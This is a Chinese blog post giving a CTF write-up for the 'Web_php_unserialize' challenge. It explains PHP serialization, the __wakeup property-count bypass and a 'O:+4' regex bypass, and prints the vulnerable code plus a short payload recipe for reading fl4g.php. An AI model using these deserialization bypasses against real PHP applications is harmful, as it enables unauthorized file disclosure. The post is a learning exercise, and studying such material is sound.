NineOnee

导航

 

Web_php_unserialize

知识点

序列化和反序列化概念

序列化就是将对象,数组,整数型,字符型等转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。

反序列化则相反将字符串重新恢复成对象。

魔法函数

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前调用
__wakeup 将在反序列化之后调用

看一组字符串

O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符 
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值

访问属性值

public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名  这里%00是表示0x00字节,因为无法复制粘贴,所以`												  用%00代替
private属性被序列化的时候属性值会变成:%00类名%00属性名

类似于


看到显示的是0x00字节,而不是%00之类的,所以我们进行反序列化时,

O:4:"Demo":3:{s:5:"test1";s:6:"public";s:11:"%00Demo%00test2;s:7:"private";s:8:"%00*%00test3;s:9:"protected";}

这样是会报错的。至于如何构造,有待学习,。。某位师傅看到麻烦评论留言下


__wakeup函数漏洞

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

但是这里本地复现时,也是一脑迷,会出现报错


这里用的是php5.4.3的环境,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。

但是这里报错了,很迷.

正则绕过

(preg_match('/[oc]:\d+:/i', $var))

这里可以用O:+4 来进行绕过,大概可以理解为在数学里面,4跟+4意思是相同的

思路

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); //若有这个对象在这个程序结束时,就会调用__destruct函数,然后将对象中的$file属性代表的文件给高亮显示出来
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); //对参数时进行base64解码码
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配
        die('stop hacking!'); 
    } else {
        @unserialize($var); //对$var进行反序列化处理
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

正则表达式:'/[oc]:\d+:/i'

/XXXX/==> php的正则表达式需要放在// 之间

末尾的i==> 修饰符,表示忽略大小写

[oc] ==》匹配o和c
==》不是元字符,所以他就是普通冒号

\d ==> 匹配一个数字

\d+ ==> 匹配多个数字

这里思路就是

$a=new Demo("fl4g.php");
$a=serialize($a);
$a=str_replace("O:4","O:+4",$a);
$a=str_replace(":1:{",":2:{",$a);
$a=base64_encode($a);

之所以复制粘贴手工的到的base64编码是错的,是因为private属性反序列化时,出现了0x00字节, 然后我们误将字符串改成

O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}

实际上并不是这样改,至于怎样改这我也不晓得。。。

我们也可以用bp进行字节修改,再base64编码


将20改成00再base64编码即可

posted on 2020-10-15 23:35  NineOne_E  阅读(225)  评论(0编辑  收藏  举报